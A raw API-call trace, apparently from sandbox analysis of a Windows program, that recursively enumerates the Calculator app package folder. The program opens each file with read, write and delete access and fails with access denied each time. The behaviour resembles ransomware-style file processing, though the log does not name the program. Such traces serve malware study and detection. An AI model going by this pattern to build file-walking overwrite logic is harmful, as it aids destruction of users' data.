	[0082.628] FindNextFileW (in: hFindFile=0x46a8298, lpFindFileData=0x502a798 | out: lpFindFileData=0x502a798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c8eaabc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c910d15, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c910d15, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe71, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.628] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.628] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.628] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x481ca78
	[0082.628] wcscpy (in: _Dest=0x481ca78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0082.628] wcscat (in: _Dest=0x481ca78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0082.628] wcscat (in: _Dest=0x481ca78, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.366] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0090.366] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.366] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.366] GetLastError () returned 0x5
	[0090.366] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.366] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ca78) returned 1
	[0090.366] FindNextFileW (in: hFindFile=0x46a8298, lpFindFileData=0x502a798 | out: lpFindFileData=0x502a798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c8c485e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c8c485e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c8c485e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x349, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0090.367] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0090.367] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0090.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x5026b68
	[0090.367] wcscpy (in: _Dest=0x5026b68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.367] wcscat (in: _Dest=0x5026b68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.367] wcscat (in: _Dest=0x5026b68, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml"
	[0090.367] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0090.368] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.368] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.368] GetLastError () returned 0x5
	[0090.368] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.368] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5026b68) returned 1
	[0090.368] FindNextFileW (in: hFindFile=0x46a8298, lpFindFileData=0x502a798 | out: lpFindFileData=0x502a798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c910d15, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c910d15, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c910d15, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.368] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.368] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.368] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x5026b68
	[0090.368] wcscpy (in: _Dest=0x5026b68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.368] wcscat (in: _Dest=0x5026b68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.368] wcscat (in: _Dest=0x5026b68, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.369] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0090.369] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.369] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.369] GetLastError () returned 0x5
	[0090.369] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.369] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5026b68) returned 1
	[0090.369] FindNextFileW (in: hFindFile=0x46a8298, lpFindFileData=0x502a798 | out: lpFindFileData=0x502a798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c910d15, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb160da7b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4c9f5b36, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0090.369] wcscmp (_String1="Assets", _String2=".") returned 1
	[0090.369] wcscmp (_String1="Assets", _String2="..") returned 1
	[0090.369] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x491ed98
	[0090.369] wcscpy (in: _Dest=0x491ed98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.369] wcscat (in: _Dest=0x491ed98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.369] wcscat (in: _Dest=0x491ed98, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.369] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491c8b0
	[0090.369] wcscpy (in: _Dest=0x491c8b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.369] wcscat (in: _Dest=0x491c8b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.369] wcscat (in: _Dest=0x491c8b0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*"
	[0090.369] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502a2c8
	[0090.369] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c910d15, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb160da7b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4c9f5b36, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a7a8
	[0090.374] wcscmp (_String1=".", _String2=".") returned 0
	[0090.374] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c910d15, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb160da7b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4c9f5b36, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.374] wcscmp (_String1="..", _String2=".") returned 1
	[0090.374] wcscmp (_String1="..", _String2="..") returned 0
	[0090.374] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c910d15, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c910d15, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c910d15, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorAppList.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0090.374] wcscmp (_String1="CalculatorAppList.contrast-black_scale-100.png", _String2=".") returned 1
	[0090.374] wcscmp (_String1="CalculatorAppList.contrast-black_scale-100.png", _String2="..") returned 1
	[0090.374] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x146) returned 0x2e347a8
	[0090.374] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.375] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.375] wcscat (in: _Dest=0x2e347a8, _Source="CalculatorAppList.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorAppList.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorAppList.contrast-black_scale-100.png"
	[0090.375] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorAppList.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorapplist.contrast-black_scale-100.png")) returned 0x20
	[0090.377] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorAppList.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.377] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorAppList.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorapplist.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.377] GetLastError () returned 0x5
	[0090.377] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorAppList.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.377] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.378] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c936f6e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c936f6e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c936f6e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorAppList.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0090.378] wcscmp (_String1="CalculatorAppList.contrast-white_scale-100.png", _String2=".") returned 1
	[0090.378] wcscmp (_String1="CalculatorAppList.contrast-white_scale-100.png", _String2="..") returned 1
	[0090.378] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x146) returned 0x2e347a8
	[0090.378] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.378] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.378] wcscat (in: _Dest=0x2e347a8, _Source="CalculatorAppList.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorAppList.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorAppList.contrast-white_scale-100.png"
	[0090.378] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorAppList.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorapplist.contrast-white_scale-100.png")) returned 0x20
	[0090.381] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorAppList.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.381] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorAppList.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorapplist.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.381] GetLastError () returned 0x5
	[0090.381] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorAppList.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.381] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.381] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c936f6e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c936f6e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c936f6e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorAppList.scale-100.png", cAlternateFileName="")) returned 1
	[0090.381] wcscmp (_String1="CalculatorAppList.scale-100.png", _String2=".") returned 1
	[0090.381] wcscmp (_String1="CalculatorAppList.scale-100.png", _String2="..") returned 1
	[0090.382] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x128) returned 0x2e347a8
	[0090.382] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.382] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.382] wcscat (in: _Dest=0x2e347a8, _Source="CalculatorAppList.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorAppList.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorAppList.scale-100.png"
	[0090.382] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorAppList.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorapplist.scale-100.png")) returned 0x20
	[0090.382] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorAppList.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.382] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorAppList.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorapplist.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.382] GetLastError () returned 0x5
	[0090.382] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorAppList.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.382] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.382] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c936f6e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c95d1cc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c95d1cc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorLargeTile.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0090.382] wcscmp (_String1="CalculatorLargeTile.contrast-black_scale-100.png", _String2=".") returned 1
	[0090.382] wcscmp (_String1="CalculatorLargeTile.contrast-black_scale-100.png", _String2="..") returned 1
	[0090.382] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14a) returned 0x2e347a8
